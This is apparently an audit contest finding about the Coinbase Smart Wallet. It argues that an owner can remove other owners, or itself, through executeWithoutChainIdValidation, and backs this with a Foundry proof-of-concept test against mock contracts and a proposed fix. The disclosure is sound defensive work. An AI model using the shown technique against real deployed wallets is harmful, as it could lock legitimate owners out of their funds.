Coinbase Smart Wallet - cryptphi's results

Lines of code

https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/CoinbaseSmartWallet.sol#L180-L187 https://github.com/code-423n4/2024-03-coinbase/blob/e0573369b865d47fed778de00a7b6df65ab1744e/src/SmartWallet/CoinbaseSmartWallet.sol#L252-L262 https://github.com/code-423n4/2024-03-coinbase/blob/main/src/SmartWallet/MultiOwnable.sol#L102-L110

Vulnerability details

Impact

The removeOwnerAtIndex() in MultiOwnable contract removes an owner from the given index of the MUTLI_OWNABLE_STORAGE_LOCATION storage slot in the Contract. This function has an access control in the modifier onlyOwner to ensure that the caller is a registered owner or the contract itself.

However, through the executeWithoutChainIdValidation() in CoinbaseSmartWallet contract, an owner can remove other owners from the contract.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;

import {Test, console2, stdError} from "forge-std/Test.sol";
import {IEntryPoint} from "account-abstraction/interfaces/IEntryPoint.sol";
import "../mocks/MockMultiOwnable.sol";
import "../../../src/SmartWallet/CoinbaseSmartWallet.sol";
import {MockCoinbaseSmartWallet} from "../mocks/MockCoinbaseSmartWallet.sol";
import {Static} from "./Static.sol";

contract RemoveTest is Test {
    CoinbaseSmartWallet public account = new MockCoinbaseSmartWallet();
    MockMultiOwnable mock = new MockMultiOwnable();
    uint256 signerPrivateKey = 0xa11ce;
    address owner1Address = vm.addr(signerPrivateKey);
    bytes owner1Bytes = abi.encode(owner1Address);
    // public key x,y
    bytes owner2Bytes = abi.encode(
        0x65a2fa44daad46eab0278703edb6c4dcf5e30b8a9aec09fdc71a56f52aa392e4,
        0x4a7a9e4604aa36898209997288e902ac544a555e4b5e0a9efef2b59233f3f437
    );
    bytes[] owners;
    IEntryPoint entryPoint = IEntryPoint(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789);
    address bundler = address(uint160(uint256(keccak256(abi.encodePacked("bundler")))));

    // userOp values
    uint256 userOpNonce;
    bytes userOpCalldata;

    function setUp() public virtual {
        owners.push(owner1Bytes);
        owners.push(owner2Bytes);
        vm.etch(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789, Static.ENTRY_POINT_BYTES);
        account.initialize(owners);
        userOpNonce = account.REPLAYABLE_NONCE_KEY() << 64;
        userOpCalldata = abi.encodeWithSelector(CoinbaseSmartWallet.executeWithoutChainIdValidation.selector);
    }


    function testRemovesOwnerThroughEndPoint() public {
        //owner1 removes owner2 through entryPoint
        userOpCalldata = abi.encodeWithSelector(
            CoinbaseSmartWallet.executeWithoutChainIdValidation.selector,
            abi.encodeWithSelector(MultiOwnable.removeOwnerAtIndex.selector, 1)
        );
        _sendUserOperation(_getUserOpWithSignature());
        assertFalse(account.isOwnerBytes(owner2Bytes));


        //owner1 removes itself through entryPoint
        userOpNonce++;
        userOpCalldata = abi.encodeWithSelector(
            CoinbaseSmartWallet.executeWithoutChainIdValidation.selector,
            abi.encodeWithSelector(MultiOwnable.removeOwnerAtIndex.selector, 0)
        );
        _sendUserOperation(_getUserOpWithSignature());
        assertFalse(account.isOwnerBytes(owner1Bytes));

    }

    function _sendUserOperation(UserOperation memory userOp) internal {
        UserOperation[] memory ops = new UserOperation[](1);
        ops[0] = userOp;
        entryPoint.handleOps(ops, payable(bundler));
    }

    function _getUserOp() internal view returns (UserOperation memory userOp) {
        userOp = UserOperation({
            sender: address(account),
            nonce: userOpNonce,
            initCode: "",
            callData: userOpCalldata,
            callGasLimit: uint256(1_000_000),
            verificationGasLimit: uint256(1_000_000),
            preVerificationGas: uint256(0),
            maxFeePerGas: uint256(0),
            maxPriorityFeePerGas: uint256(0),
            paymasterAndData: "",
            signature: ""
        });
    }

    function _getUserOpWithSignature() internal view returns (UserOperation memory userOp) {
        userOp = _getUserOp();
        userOp.signature = _sign(userOp);
    }

    function _sign(UserOperation memory userOp) internal view returns (bytes memory signature) {
        bytes32 toSign = account.getUserOpHashWithoutChainId(userOp);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, toSign);
        signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, abi.encodePacked(r, s, v)));
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Add a require check to ensure the owner at the index is the signer of the signature.

Assessed type

Other